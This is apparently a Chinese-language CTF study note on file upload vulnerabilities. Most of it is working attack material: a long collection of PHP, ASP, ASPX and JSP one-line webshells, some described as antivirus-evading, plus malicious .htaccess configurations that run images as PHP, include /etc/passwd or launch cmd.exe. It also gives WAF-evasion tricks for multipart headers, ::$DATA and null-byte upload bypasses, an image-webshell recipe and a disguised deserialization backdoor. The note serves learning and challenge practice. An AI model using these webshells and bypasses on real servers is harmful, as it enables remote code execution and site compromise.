文件上传漏洞

文件上传漏洞

参考博客

原因

程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等

WebShell

asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。

一句话木马大全

可速过

PHP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(class)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (class)%><%execute request(class)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(1)):response.end%> 备份专用

JSP

1
2
3
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客户端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

ASP

1
2
3
4
5
6
7
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话 

ASPX

1
2
3
4
5
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用双引号的一句话。

漏洞产生原因

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
  • 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
  • 对于web server对于上传文件或者指定目录的行为没有做限制

常见安全问题

  • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
  • 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
  • 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:
  • 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈

除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)“执行此脚本;等

Web做题!!

重要部分捏🎄

常见文件后缀

文件后缀 Mime类型 说明
.flv flv/flv-flash 在线播放
.html或.htm text/html 超文本标记语言文本
.rtf application/rtf RTF文本
.gif 或.png image/gif (image/png) GIF图形/PNG图片
.jpeg或.jpg image/jpeg JPEG图形
.au audio/basic au声音文件
.mid或.midi audio/midi 或 audio/x-midi MIDI音乐文件
.ra或.ram或.rm audio/x-pn-realaudio RealAudio音乐文件
.mpg或.mpeg或.mp3 video/mpeg MPEG文件
.avi video/x-msvideo AVI文件
.gz application/x-gzip GZIP文件
.tar application/x-tar TAR文件
.exe application/octet-stream 下载文件类型
.rmvb video/vnd.rn-realvideo 在线播放
.txt text/plain 普通文本
.mrp application/octet-stream MRP文件(国内普遍的手机)
.ipa application/iphone-package-archive IPA文件 (IPHONE)
.deb application/x-debian-package-archive DEB文件 (IPHONE)
.apk application/vnd.android.package-archive APK文件 (安卓系统)
.cab application/vnd.cab-com-archive CAB文件 (Windows Mobile)
.xap application/x-silverlight-app XAP文件 (Windows Phone 7)
.sis application/vnd.symbian.install-archive SIS文件 (symbian平台)
.jar application/java-archive JAR文件 (JAVA平台手机通用格式)
.jad text/vnd.sun.j2me.app-descriptor JAD文件 (JAVA平台手机通用格式)
.sisx application/vnd.symbian.epoc/x-sisx-app SISX文件 (symbian平台)

客户端检查

  • JS检查

    • 通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查

    • 木马修改后缀名后上传,通过改包工具修改上传

    • 如果是JS脚本检测,在本地浏览器客户端禁用JS即可。

      可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过。

服务端 · 检查后缀

黑名单

  • 上传特殊后缀

    • pht
  • .htaccess上传利用

    • 文件解析

      经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行。

      一般有一下两种方法:

      1
      2
      3
      4
      
      # 将images.png 当做 PHP 执行
      <FilesMatch  "images.png">
      SetHandler  application/x-httpd-php
      </FilesMatch>
      1
      2
      
      # 将 .jpg(.xxx) 当做 PHP 文件解析
      AddType application/x-httpd-php .jpg(.xxx)
    • 文件包含

      本地文件包含

      通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发

      .htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件

      1
      
      auto_prepend_file
      1
      
      php_value auto_prepend_file /etc/passwd

      远程文件包含不可以使用.htaccess

      PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。

      因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启

    • 源码泄露

      利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

      1
      
      php_flag engine 0
    • 代码执行

      利用伪协议all_url_fopenall_url_include为on

      解析.htaccess

      .htaccess (base64 / urlencode)

      写单纯的text文件

      .htaccess内容:

      1
      
      php_value auto_prepend_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
      1
      
      php_value auto_prepend_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

      写执行php命令

      .htaccess内容:

      1
      
      php_value auto_prepend_file .htaccess #<?php phpinfo();?>

      下面这种适合同目录或子目录没有 php 文件。 需要先设置允许可访问 .htaccess 文件

      .htaccess内容:

      1
      2
      3
      4
      5
      6
      7
      
      Files ~ "^.ht">
       Require all granted
       Order allow,deny
       Allow from all
      </Files>
      SetHandler application/x-httpd-php
      # <?php phpinfo(); ?>
    • 命令执行

      CGI启动

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      
      cgi_module 需要加载,即 apache 配置文件中有
      
      LoadModule cgi_module modules/mod_cgi.so
      .htaccess内容
      
      Options ExecCGI #允许CGI执行
      AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析
      ce.xx
      
      #!C:/Windows/System32/cmd.exe /k start calc.exe
      6

      直接访问ce.xx

      FastCGI启动

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      
      mod_fcgid.so需要被加载。即 apache 配置文件中有
      
      LoadModule fcgid_module modules/mod_fcgid.so
      .htaccess
      
      Options +ExecCGI
      AddHandler fcgid-script .xx
      FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
      
      ce.xx 内容随意

      直接访问ce.xx

    • XSS

      highlight_file

      .htaccess内容

      1
      2
      3
      4
      5
      6
      
      php_value highlight.comment '"><script>alert(1);</script>'
      
      index.php
      <?php
      highlight_file(__FILE__);
      // comment

      其中highlight_file(__FILE__)也可以换作

      错误消息链接:

      1
      2
      3
      4
      5
      6
      7
      8
      
      index.php :
      <?php
      include('foo');#foo报错
      
      .htaccess
      php_flag display_errors 1
      php_flag html_errors 1
      php_value docref_root "'><script>alert(1);</script>"
    • 自定义错误文件

      error.php

      1
      
      <?php include('shell');#报错页面

      .htaccess

      1
      2
      
      php_value error_log /tmp/www/html/shell.php 
      php_value include_path "<?php phpinfo(); __halt_compiler();"

      访问 error.php,会报错并记录在 shell.php 文件中

  • .user.ini

  • 后缀大小写绕过

  • 空格绕过

  • 点绕过

  • ::$DATA绕过

    • 原理

      当我们对一个在NTFS分区中的ASP文件发出包含DATA请 求 ,IIS会 检 查 最 后 一 个 “ . ” 后 面 的 扩 展 名 , 因 为 多 了 : : DATA请求,IIS会检查最后一个“ . ”后面的扩展名,因为多了::DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了::DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

    • 绕过方法 · IIS目录访问权限绕过

      在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件

      1
      2
      
      /admin::$INDEX_ALLOCATION/index.php
      /admin:$i30:$INDEX_ALLOCATION/index.asp
    • 绕过方法 · 上传绕过黑名单

      在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析

      上传的文件名 服务器表面现象 生成的文件内容
      Test.php:a.jpg 生成 Test.php
      Test.php::$DATA 生成 test.php <?php phpinfo();?>
      Test.php::$INDEX_ALLOCATION 生成 test.php 文件夹
      Test.php::$DATA\0.jpg 生成 0.jpg <?php phpinfo();?>
      Test.php::$DATA\aaa.jpg 生成 aaa.jpg <?php phpinfo();?>
  • 配合解析漏洞

  • 双后缀名绕过

白名单

  • MIME绕过

  • %00截断

    • 原理

      在上传的时候,当文件系统读到0x00时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00%00上传截断漏洞

    • 绕过方法

      通过抓包截断将evil.php.jpg后面的一个.换成0x00。在上传的时候,当文件系统读到0x00时,会认为文件已经结束,从而将evil.php.jpg的内容写入到evil.php中,从而达到攻击的目的。

  • move_uploaded_file()

    可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限

服务端 · 检查内容

检查文件头

  • 常见文件头

    格式 文件头
    TIFF (tif) 49492A00
    Windows Bitmap (bmp) BM
    CAD (dwg) 41433130
    Adobe Photoshop (psd) 38425053
    JPEG (jpg) FFD8FF
    PNG (png) 89504E47
    GIF (gif) 47494638(GIF8)
    XML (xml) 3C3F786D6C
    HTML (html) 68746D6C3E
    MS Word/Excel (xls.or.doc) D0CF11E0
    MS Access (mdb) 5374616E64617264204A
    ZIP Archive (zip) 504B0304
    RAR Archive (rar) 52617221
    Wave (wav) 57415645
    AVI (avi) 41564920
    Adobe Acrobat (pdf) 255044462D312E
  • 绕过

    给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行。

    一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符

检查文件内容

  • <?php ?>被过滤

    • script标签

      php<7

    1
    2
    3
    
    <script language="php">
     eval($_POST[2333]);
    </script>
    • <?= ?>里面的命令用 php命令的单引号包含
  • 只检测敏感内容,不检测php标签,下面是免杀木马

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    <?php
    
    if (isset($_POST['run'])) {
      class HandShip {
         public $name;
         public $male;
         function __destruct() {
            $allin = $this->name;
            $allin($this->male);
         }
      }
    if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){
    
      unserialize($_POST['run']);
    }
    }
    ?>

    用法:

    1
    
    run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda
  • 对文件的内容,数据。数据包进行处理

    关键点:Content-Disposition: form-data; name="file"; filename="ian.php"

    form-data; 修改为~form-data;

  • 通过替换大小写来进行绕过

    1
    2
    
    Content-Disposition: form-data; name="file"; filename="yjh.php"
    content-Type: application/octet-stream
    1
    2
    
    content-Disposition: Form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
  • 通过删减空格来进行绕过

    1
    2
    
    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream

    Content-Disposition: form-data冒号后增加或减少一个空格

    form-data; name="file"; 分号后面增加或减少一个空格

    Content-Type: application/octet-stream冒号后面 增加一个空格

  • 通过字符串拼接绕过

    Content-Disposition: form-data; name="file"; filename="yjh3.php"form-data 修改为 f+orm-datafrom-data 修改为 form-d+ata

  • 双文件上传绕过

    1
    2
    3
    4
    5
    6
    
    <form action="https://www.xxx.com/xxx.asp(php)" method="post"
    name="form1" enctype="multipart/form‐data">
    <input name="FileName1" type="FILE" class="tx1" size="40">
    <input name="FileName2" type="FILE" class="tx1" size="40">
    <input type="submit" name="Submit" value="上传">
    </form>
  • HTTP header 属性值绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php" 我们通过替换form-data*来绕过 Content-Disposition: *; name="file"; filename="yjh.php"

  • HTTP header 属性名称绕过

    1
    2
    
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    Content-Type: image/png

    绕过内容

    1
    2
    
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    Content-Type: image/png

    删除掉ontent-Type: image/png只留下c,将.phpc后面即可,但是要注意额,双引号要跟着c.php"

  • 等效替换绕过

    1
    2
    
    Content-Type: multipart/form-data; boundary=---------------------------471463142114		// 原
    Content-Type: multipart/form-data; boundary =---------------------------471463142114	// 修改

    boundary后面加入空格。

  • 修改编码绕过

    使用UTF-16Unicode双URL编码等等

  • WTS-WAF 绕过上传

    1
    
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"

    添加回车

    1
    
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
  • 百度云上传绕过

    在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。 Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

  • 填充垃圾数据,造成溢出后使WAF崩掉

    1
    
    Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十万++

getimagesize()

制作图片马

准备两个文件:一个是png,一个是php一句话木马

windows环境下:

1
copy a.png /b + a.php /a 3.php 

/b: 指定以二进制格式复制、合并文件,用于图像或者声音类文件

/a: 指定以ascii格式复制、合并文件用于txt等文本类文件

输出一个php文件,得到图片🐎

服务端 · 条件竞争

原理

由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

基本思路

上传文件源代码里没有校验上传的文件,文件直接上传

上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。

由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:

  1. 访问时间点在上传成功之前,没有此文件。

  2. 访问时间点在刚上传成功但还没有进行判断,该文件存在。

  3. 访问时间点在判断之后,文件被删除,没有此文件。

我们需要达到 2 条件

利用

使用bp的Intruder工具,拦截代理流量用这个一直发包上传的文件

同时抓包访问1.php,营造10000人访问1.php的场景

找200的访问成功的结果,成果执行

一个源码例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;   //判断文件上传操作

if(isset($_POST['submit'])){  //判断是否接收到这个文件
    $ext_arr = array('jpg','png','gif');  //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'
    $file_name = $_FILES['upload_file']['name'];  //获取图片的名字
    $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。

    if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存
        if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;  //如果存在,就对文件名进行重构
             rename($upload_file, $img_path);  //把上面的文件名进行重命名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。
            unlink($upload_file);// 并删除这个文件
        }
    }else{
        $msg = '上传出错!';
    }
}

关键函数:move_uploaded_file

做题的一些思路

0%